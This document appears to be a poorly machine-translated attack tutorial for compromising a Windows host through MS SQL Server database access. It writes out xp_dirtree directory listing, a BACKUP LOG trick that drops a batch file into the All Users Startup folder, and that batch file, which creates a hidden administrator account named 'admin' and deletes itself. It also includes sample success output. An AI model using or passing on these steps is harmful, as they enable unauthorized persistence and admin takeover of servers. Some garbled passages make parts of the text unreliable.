The following is only the key code:
Use the query analyzer or webshell to connect to the database and follow these steps:
1. Database permission column directory
Exec master .. xp_dirtree c:, 1, 1
You can use the preceding statements to list disk directories under the database permission.
Below we use the backup method to back up a BAT to the startup Item
Certificate --------------------------------------------------------------------------------------------------------------------------------------------------------------------
Alter database [abc] set recovery full --
Create table cmd (a image )--
Backup log [abc] to disk = c: cmd1 with init --
Insert into cmd (a) values (values )--
Backup log [abc] to disk = C: Documents and SettingsAll Users "start" Menu \ Program start \ start. bat --
Drop table cmd --
Certificate --------------------------------------------------------------------------------------------------------------------------------------------------------------------
The preceding SQL statements are backup statements. Note the following:
Which of the following commands is used to encrypt HEX? I will tell you how to use the password format.
Edit the ADMIN command and delete START. BAT.
@ Echo off
@ Cd % windir %/* Here you can also CD to the SYSTEM32 directory */
@ Net user admin/add
@ Net localgroup administrators admin/add
@ Del start. bat/* this step deletes the BAT file */
@ Exit/* exit CMD in this step */
@/* It is best to add the last @. Do you want to avoid making an error in your previous command */
Column database command: SELECT DB_NAME ()
The database currently connected to me is abc.
In this case, replace the database name in the backup statement with the name abc of the current database.
After the preceding SQL statement is executed, the following information is returned:
One page has been processed, which belongs to the database abc file abc_Log (located on file 1 ).
The backup log operation successfully processed one page and took 0.048 seconds (0.160 MB/second ).
(1 row (s) affected)
One page has been processed, which belongs to the database abc file abc_Log (located on file 1 ).
The backup log operation successfully processed one page and took 0.043 seconds (0.083 MB/second ).
It indicates that the backup is successful. Check the startup Item to see if a bat file is added. Now, we will add a pre-defined Administrator account after the server is restarted and logged on.